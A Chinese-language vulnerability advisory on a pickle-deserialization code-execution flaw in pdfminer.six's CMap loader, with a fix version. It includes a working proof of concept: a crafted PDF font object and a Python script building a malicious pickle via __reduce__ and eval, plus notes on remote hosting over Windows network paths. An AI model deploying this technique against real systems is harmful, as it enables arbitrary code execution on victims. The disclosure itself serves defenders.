pdfminer.six任意代码执行漏洞分析

漏洞概述

pdfminer.six在处理特制PDF文件时会执行恶意pickle文件中的任意代码。该漏洞存在于CMapDB._load_data函数中，该函数使用pickle.loads()反序列化pickle文件。

漏洞详情

易受攻击的代码

1
2
3
4
5
6
7
8


# pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # 清理不充分
    filename = "%s.pickle.gz" % name
    # ... 路径构建 ...
    path = os.path.join(directory, filename) # 如果filename是绝对路径，directory将被忽略
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # 不安全的反序列化

攻击流程

攻击者可以：

创建包含类似/maliciousCMap引用的恶意PDF
在/malicious.pickle.gz位置放置恶意pickle文件
当PDF被处理时，pdfminer加载并反序列化恶意pickle
pickle反序列化可以执行任意Python代码

概念验证

恶意PDF

创建包含恶意CMAP条目的PDF：

1
2
3
4
5
6
7
8
9


5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

其中/Encoding指向/pdfs/malicious。Pdfminer会在此文件名后附加.pickle.gz扩展名。

恶意Pickle

创建执行代码的恶意压缩pickle文件：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    class EvilPayload:
        def __reduce__(self):
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path
    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

测试

安装pdfminer.six并运行：

1

pdf2txt.py malicious.pdf

输出应为：

1

Malicious code executed!

影响分析

如果pdfminer.six处理指向攻击者控制的压缩pickle文件的恶意PDF，结果是在受害者系统上执行任意代码。攻击者可以运行他们选择的Python代码，权限与运行pdfminer.six的进程相同。

不同操作系统的利用难度

Linux、MacOS - 较难利用 在类Linux系统上，只能解析文件系统上的文件。攻击者需要提供恶意PDF进行处理，并且恶意pickle文件需要存在于目标系统上攻击者已知的位置。

Windows - 较易利用 Windows路径可以指定网络位置（如WebDAV、SMB）。这意味着攻击者可以远程托管恶意pickle，并在PDF中指定其路径。

技术细节

漏洞的核心在于：

文件名清理不充分：name.replace("\0", "")
路径构造可能被绕过
直接使用pickle.loads()进行不安全反序列化

修复方案

受影响版本：< 20251107 已修复版本：20251107

建议用户立即升级到最新版本以确保系统安全。